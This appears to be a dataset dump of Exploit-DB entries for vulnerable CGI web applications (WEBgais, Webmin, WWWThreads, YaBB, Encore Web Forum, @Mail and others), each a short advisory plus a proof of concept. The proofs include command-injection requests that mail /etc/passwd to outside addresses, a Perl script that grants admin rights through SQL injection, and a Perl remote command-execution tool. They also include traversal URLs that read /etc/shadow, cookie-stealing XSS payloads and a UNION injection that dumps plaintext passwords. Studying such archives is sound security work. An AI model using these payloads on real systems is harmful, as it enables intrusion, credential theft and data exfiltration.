deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20463
Description: WEBgais 1.0 - Remote Command Execution
Type: remote
Platform: cgi
Date: 1997-07-10
Author: Razvan Dragomirescu

Exploit:
source: https://www.securityfocus.com/bid/2058/info

WEBgais is a script that provides a web interface to the "gais" (Global Area Intelligent Search) search engine tool. All versions up to 1.0B2 are vulnerable. The vulnerable script is /cgi-bin/webgais: due to improper input checking it allows a remote attacker to execute commands at the privilege level of the web server. A specifically formatted query allows the vulnerable code to be executed; this query must include the parameters output=subject and domain=paragraph. These two parameters must be included, otherwise the vulnerable code is not executed. The problem lies in an improperly protected Perl "system" command that can be circumvented by encapsulating the malicious command in single quotes and using the unix shell command separation metacharacter ";". See exploit for an example. 

telnet target.host 80
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 (replace this with the actual length of the "exploit" line)

query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph

[...] But to make it work for your system too, you'll have to add other parameters, like idx_dir and data_type who are required by the script in its original version. Just make a normal query to your WebGais server and see what all the parameters are. But remember to use "output" and "domain" as specified in my exploit. Otherwise you will end up in some other place of the script and nothing will happen.
Exploit-DB #20483
Description: WEBgais 1.0 - websendmail Remote Command Execution
Type: remote
Platform: cgi
Date: 1997-07-04
Author: Razvan Dragomirescu

Exploit:
source: https://www.securityfocus.com/bid/2077/info

WEBgais is a package that provides a web interface to the "gais" (Global Area Intelligent Search) search engine tool. This package contains a vulnerable script, websendmail, which can be used to execute arbitrary commands on the server with the privileges of the web server. User supplied data (from the "receiver=" form variable) is passed to a Perl OPEN function without proper input verification, allowing the use of shell metacharacters to separate commands. This can be directly exploited by submitting via the POST method the variable "receiver=" with the command separation shell metacharacter (;) followed by a command. Consequences could range from destruction of data and web site defacement to elevation of privileges through locally exploitable vulnerabilities. 

telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the string passed to the server, in this case xxx=90)

receiver=;mail+BUGTRAQ\@NETSPACE.ORG</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a
Exploit-DB #21183
Description: webmin 0.91 - Directory Traversal
Type: remote
Platform: cgi
Date: 2001-12-17
Author: A. Ramos

Exploit:
source: https://www.securityfocus.com/bid/3698/info

Webmin is a web-based interface for system administration for Unix. Using any browser that supports tables and forms, you can setup user accounts, Apache, DNS, file sharing and so on. Webmin will run on most Unix variants, providing it has been properly configured.

Webmin does not adequately filter '../' sequences from web requests, making it prone to directory traversal attacks. Furthermore, since Webmin is a facility for remote web-based administration of Unix systems, it requires root privileges. This vulnerability could be exploited to effectively disclose any file on a host running the affected software.

It may also be possible to edit files or place files on the server. This may lead to a remote root compromise.

http://www.domain.com:10000/servers/link.cgi/[PII_REDACTED]/init/edit_action.cgi?0+../../../../../etc/shadow
Exploit-DB #20895
Description: WebTrends Enterprise Reporting Server 3.1 c/3.5 - Source Code Disclosure
Type: remote
Platform: cgi
Date: 2001-06-03
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/2812/info

WebTrends Live is a web-based reporting service which provides interactive tracking of usage statistics and E-commerce revenue.

It is possible to view the source code of arbitrary scripts on the WebTrends Live webserver. This is accomplished by crafting a URL with an encoded space after the filename of the script. 

http://host/remote_login.pl%20
Exploit-DB #19741
Description: Wired Community Software WWWThreads 5.0 - SQL Command Input
Type: remote
Platform: cgi
Date: 2000-02-03
Author: rain forest puppy

Exploit:
source: https://www.securityfocus.com/bid/967/info


WWWThreads is a web bulletin board program that uses an SQL backend. Due to incomplete input validation, it is possible for an attacker to submit SQL commands through forms and manipulate the contents of the database to gain administrator privileges over the database.

There are various ways for a program to ensure that all entries into data fields are interpreted as data and not SQL commands. WWWThreads uses the quote() function to do this on string values, but fails to verify numeric values in a similar manner. Therefore, SQL commands can be passed to WWWThreads via any numeric argument. These commands can be used to update the status of any user to Administrator and change their security level to '100' (the same level as the Administrator). 

#!/usr/bin/perl
# wwwthreads hack by rfp@wiretrip.net
# elevate a user to admin status
#
# by rain forest puppy / rfp@wiretrip.net
use Socket;

#####################################################
# modify these

# can be DNS or IP address
$ip="localhost";

$username="rfp";
# remember to put a '\' before the '$' characters
$passhash="\$1\$V2\$sadklfjasdkfhjaskdjflh";

#####################################################

$parms="Cat=&Username=$username&Oldpass=$passhash".
"&sort_order=5,U_Status%3d'Administrator',U_Security%3d100".
"&display=threaded&view=collapsed&PostsPer=10".
"&Post_Format=top&Preview=on&TextCols=60&TextRows=5&FontSize=0".
"&FontFace=&PictureView=on&PicturePost=off";

$tosend="GET /cgi-bin/wwwthreads/changedisplay.pl?$parms HTTP/1.0\r\n".
"Referer: http://$ip/cgi-bin/wwwthreads/previewpost.pl\r\n\r\n";

print sendraw($tosend);

sub sendraw {
        my ($pstr)=@_; my $target;
        $target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);              $|=1;
                print $pstr;            my @in=<S>;
                select(STDOUT);         close(S);
                return @in;
        } else { die("Can't connect...\n"); }}
Exploit-DB #20218
Description: YaBB 9.1.2000 - Arbitrary File Read
Type: remote
Platform: cgi
Date: 2000-09-10
Author: pestilence

Exploit:
source: https://www.securityfocus.com/bid/1668/info

YaBB.pl, a web-based bulletin board script, stores board postings in numbered text files. The numbered file name is specified in the call to YaBB.pl in the variable num=<file>. Before retrieving the file, YaBB will append a .txt extension to <file>.

Due to input validation problems in YaBB, relative paths can be specified in <file>. This includes ../ style paths.

Additionally, <file> does not need to be numerical, and the .txt extension can be avoided by appending %00 to <file>.

By exploiting these problems in a single request, a malicious user can view any file that the webserver has access to.

http://www.my_target.com/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../../../../etc/passwd%00
Exploit-DB #20387
Description: YaBB 9.11.2000 - 'search.pl' Arbitrary Command Execution
Type: remote
Platform: cgi
Date: 2000-11-07
Author: rpc

Exploit:
source: https://www.securityfocus.com/bid/1921/info

YaBB (Yet Another Bulletin Board) is a popular perl-based bulletin board scripting package.

search. pl, one of several perl scripts which comprise YaBB, fails to properly validate user input which arguments a call to open(). 

A malicious user could supply a string containing '/../'-type sequences and shell commands. As a result of search.pl's failure to reject this type of input, it is possible to traverse the script's normal working directories, and to execute arbitrary commands on the host with the privelege level of YaBB. This can lead to an anonymous internet user gaining shell access to the host.


An attacker could easily create a malicious html form with a catsearch such as:
./../../../../../usr/bin/touch%20/tmp/foo|
Exploit-DB #19747
Description: Zeus Web Server 3.x - Null Terminated Strings
Type: remote
Platform: cgi
Date: 2000-02-08
Author: Vanja Hrustic

Exploit:
source: https://www.securityfocus.com/bid/977/info

Appending "%00" to the end of a CGI script filename will permit a remote client to view full contents of the script if the CGI module option "allow CGIs anywhere" is enabled. Scripts located in directories which are designated as executable (eg. \cgi-bin) are not vulnerable to this exploit.

http ://target/script.cgi%00

"%00" may be replaced with "%G0", "%W0", "%EW", "%FG", "%UW", or "%VG" in order to achieve the same results.
Exploit-DB #22000
Description: Zeus Web Server 4.0/4.1 - Admin Interface Cross-Site Scripting
Type: remote
Platform: cgi
Date: 2002-11-08
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/6144/info

The Zeus Web Server contains a web based administration interface that is vulnerable to cross site scripting attacks.

Due to insufficient sanitization of user-supplied input it is possible for an attacker to construct a malicious link which contains arbitrary HTML and script code, which will be executed in the web client of a user who visits the malicious link. It should be noted that the user must authenticate with the administrative interface for the attack to succeed.

The vendor has stated that cookies are not used to store usernames and passwords. 

http://hostname:9090/apps/web/index.fcgi?servers=&section=<script>alert(document.cookie)</script>
Exploit-DB #26721
Description: 1-Script 1-Search 1.8 - '1search.CGI' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-05
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15712/info

1-Search is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 1.80 and prior are affected; other versions may also be vulnerable. 

http://www.example.com/1search.cgi?q=[XSS]&boolean=ALL&case=Insensitive
Exploit-DB #23941
Description: 1st Class Mail Server 4.0 1 - advanced.tagz Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-04-08
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10089/info
    
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.
    
1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/advanced.tagz?Site=www.example.com&Mailbox=<[html_code]>
Exploit-DB #23940
Description: 1st Class Mail Server 4.0 1 - general.tagz Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-04-08
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10089/info
   
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.
   
1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/general.tagz?Site=www.example.com&Mailbox=[html_code]
Exploit-DB #23938
Description: 1st Class Mail Server 4.0 1 - Index Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-04-08
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10089/info
 
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.
 
1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/?Site=www.example.com&Mailbox=[html_code]
Exploit-DB #23942
Description: 1st Class Mail Server 4.0 1 - list.tagz Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-04-08
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10089/info
     
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.
     
1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/list.tagz?Site=www.example.com&Mailbox=[html_code]
Exploit-DB #23939
Description: 1st Class Mail Server 4.0 1 - members.tagz Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-04-08
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10089/info
  
Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.
  
1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/members.tagz?Site=www.example.com&Mailbox=[html_code]
Exploit-DB #23937
Description: 1st Class Mail Server 4.0 1 - viewmail.tagz Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-04-08
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10089/info

Multiple vulnerabilities have been identified in the application that may allow a remote attacker to carry out directory traversal and cross-site scripting attacks.

1st Class Mail Server version 4.01 is reported to be prone to these issues, however, it is possible that other versions are affected as well. 

http://www.example.com/AUTH=[some_value]/user/viewmail.tagz?Site=www.example.com&Mailbox=3&MessageIndex=[html_code]>
Exploit-DB #26046
Description: @Mail 4.0/4.13 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-07-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/14408/info

@Mail is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/printcal.pl?year=[XSS-CODE]&month=11&type=4
http://www.example.com/printcal.pl?year=&month=11&type=4[XSS-CODE]
http://www.example.com/printcal.pl?type=4[XSS-CODE]
http://www.example.com/compose.pl?id=cur/[PII_REDACTED].H104572P10795.www.example.com%3A2%2C&folder=Sent&cache=&func=reply&type=reply[XSS-CODE]
http://www.example.com/compose.pl?spellcheck=[PII_REDACTED]9856.sc.new&func=spellcheck&HtmlEditor=1&unique=19944&msgtype=r[XSS-CODE]
http://www.example.com/compose.pl?spellcheck=[PII_REDACTED]9856.sc.new&func=spellcheck&HtmlEditor=1&unique=19944[XSS-CODE]&msgtype=r
http://www.example.com/compose.pl?func=new&To=lala@lala.es&Cc=&Bcc=[XSS-CODE]
http://www.example.com/compose.pl?func=new&To=lala@lala.es&Cc=[XSS-CODE]&Bcc=
http://www.example.com/compose.pl?func=new&To=lala@lala.es[XSS-CODE]&Cc=&Bcc=
http://www.example.com/webadmin/filter.pl?func=viewmailrelay&Order=IPaddress[XSS-CODE]
http://www.example.com/webadmin/filter.pl?func=filter&Header=blacklist_from&Type=1[XSS-CODE]&View=1
http://www.example.com/webadmin/filter.pl?func=filter&Header=blacklist_from[XSS-CODE]&Type=1&View=1
http://www.example.com/webadmin/filter.pl?func=filter&Header=whitelist_from&Type=0&Display=1&Sort=value[XSS-CODE]&Type=1&View=1
Exploit-DB #23907
Description: Aborior Encore Web Forum - Arbitrary Command Execution
Type: webapps
Platform: cgi
Date: 2004-04-03
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/10040/info

Encore Web Forum is reported prone to an issue that may allow a remote user to execute arbitrary commands on a system implementing the forum software. This issue is due to the application's failure to properly validate user-supplied URI input.

A remote attacker may exploit this condition to execute arbitrary commands in the context of the webserver that is hosting the vulnerable application. 

############################################################
#!/usr/bin/perl -w
#
# Remote Exploit Aborior's Encore Web Forum by Schizoprenic
# Bug found by k-159 from g-security.tk

require LWP::UserAgent;
use Getopt::Std;

getopts('t:d:c:');
our($opt_t, $opt_d, $opt_c);

my $target = $opt_t;
my $dir = $opt_d;
my $cmd = $opt_c;

print "Remote Exploit Aborior's Encore Web Forum  by Schizoprenic\n";
print "Xnuxer Research Laboratory (http://www.infosekuriti.com)\n";
print "Target: $target\n";
print "Path Dir: $dir\n";
print "Command: $cmd\n";

my $ua = LWP::UserAgent->new;
$ua->agent("IE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$req = "http://$target$dir/display.cgi?preftemp=temp&page=anonymous&file=|$cmd|";

my $response = $ua->get($req);
print "--------------------RESULT--------------------\n";

if ($response->is_success) {
     print $response->content;
} else {
     die $response->status_line;
}

print "----------------------------------------------\n";

# EOF by Xnuxer
--
Exploit-DB #4977
Description: Aconon Mail 2004 - Directory Traversal
Type: webapps
Platform: cgi
Date: 2008-01-23
Author: Arno Toll

Exploit:
Application: aconon(R) Mail

Affected versions: probably all known, tested against 2007 Enterprise
SQL 11.7.0 and 2004 Enterprise SQL 11.5.1

Affected plattforms: every, Aconon runs at (Win32, Linux, Solaris ...)

Exploitation: remote

Description: Aconon Mail is a commercial newsletter software, providing
a feature rich web interface for both, users and administrators. This
includes a public available archive of sent newsletters. Those archived
e-mails may be accessed through the web browser, processed by a template
 engine. The used template may be overwritten by any user, modifying the
HTTP-GET "template" form parameter. This parameter is checked against
code injection, not against directory traversal though.

Proof of Concept:

http://www.aconon.de/mail-demo/archiv.cgi?list=&file=Newsletter-HtmlNachricht.save&template=data/password.pl&link=%3C%3C%3C%3C
vhttp://www.aconon.de/mail-demo/archiv.cgi?list=&file=Newsletter-HtmlNachricht.save&template=../../../../../../etc/passwd&link=%3C%3C%3C%3C

Fix:

No fix has been published yet. However this workaround should patch the
issue:

Add in archiv.cgi below
  $FORM{'template'} =~ s/\|//g;

this code:

  use File::Basename;
  $FORM{'template'} = ($FORM{'template'}) ? basename($FORM{'template'})
: "";
  if ($FORM{'template'} && $FORM{'template'} !~ /\.html$/) {
        &error ("$TXT{'1501'}");
        }

Status: the vendor has been informed.


German readers of the list may also read
http://burnachurch.com/67/directory-traversal-luecke-in-aconon-mail/

P.S. greets to missi - you're great :o)

# milw0rm.com [2008-01-23]
Exploit-DB #17443
Description: ActivDesk 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: cgi
Date: 2011-06-23
Author: Brendan Coles

Exploit:
ActivDesk 3.0 multiple security vulnerabilities

# Date: 2011-06-24
# Author: Brendan Coles <bcoles@gmail.com>
# Advisory: http://itsecuritysolutions.org/2011-06-24-ActivDesk-3.0-multiple-security-vulnerabilities/

# Software: ActivDesk
# Version: <= 3.0
# Homepage: http://www.webhelpdesk-software.com/
# Google Dorks:
#  inurl:kbcat.cgi ext:cgi
#  "Help Desk Powered By ActivDesk"

# Vendor: FocalMedia
# Homepage: http://www.focalmedia.net/
# Notified: 2011-06-24 - Ticket#[PII_REDACTED]1


# Cross-Site Scripting (XSS):

http://localhost/[PATH]/search.cgi?keywords0=<script>alert(0)</script>
http://localhost/[PATH]/search.cgi?keywords1=<script>alert(1)</script>
http://localhost/[PATH]/search.cgi?keywords2=<script>alert(2)</script>
http://localhost/[PATH]/search.cgi?keywords3=<script>alert(3)</script>


# Blind SQL Injection:

http://localhost/[PATH]/kbcat.cgi?cid=' or substring(@@version,1,1)=5 and ''='
http://localhost/[PATH]/kb.cgi?kid=' or substring(@@version,1,1)=5 and ''='
Exploit-DB #17653
Description: Adobe RoboHelp 9 - DOM Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2011-08-11
Author: Roberto Suggi Liverani

Exploit:
Details for the CVE - 2011-2133 - Adobe RoboHelp9 DOM Cross Site
Scripting below have been published at the following URLs:

PDF version:
http://www.security-assessment.com/files/documents/advisory/Adobe_RoboHelp_9_-_DOM_XSS.pdf

HTML version:
http://malerisch.net/docs/advisories/adobe_robohelp_dom_cross_site_scripting_xss.html

For reference, original vendor advisory:
http://www.adobe.com/support/security/bulletins/apsb11-23.html

Mirror: http://www.exploit-db.com/docs/17653.pdf
Exploit-DB #6845
Description: Ads Pro - 'dhtml.pl' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2008-10-26
Author: S0l1D

Exploit:
<~\Adspro Script Remote Command Execution/~>

[~]Author       S0l1D
[~]Script        Adspro
[~]Homepage http://adspro.mhfmedia.com/index.shtm

**
~\Exploit/~

http://serv.com/cgi-bin/adspro/dhtml.pl?page=advert_top.htm|id|
http://serv.com/cgi-bin/adspro/dhtml.pl?page=advert_login.htm|id|

# milw0rm.com [2008-10-26]
Exploit-DB #35463
Description: Advertise With Pleasure! (AWP) 6.6 - SQL Injection
Type: webapps
Platform: cgi
Date: 2014-12-04
Author: Robert Cooper

Exploit:
# Exploit Title: Advertise With Pleasure! (AWP) <= 6.6 - SQL Injection vulnerability
# Date: 12/02/2014
# Author: Robert Cooper (robertc[at]areyousecure.net)
# Software Link: http://www.guruperl.net/products/awppro/
# Tested on: [Linux/Windows 7]
# Vulnerable Parameter: group_id=
 
##############################################################

PoC:

http://server/cgi/client.cgi?act=list_zone&group_id=1'

http://server/cgi/client.cgi?act=list_zone&group_id=1 union all select 1,2,group_concat(id,0x3a,login,0x3a,password,0x0a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from awp_ad_client--
 
(Passwords are stored in plaintext) 

##############################################################

http://www.areyousecure.net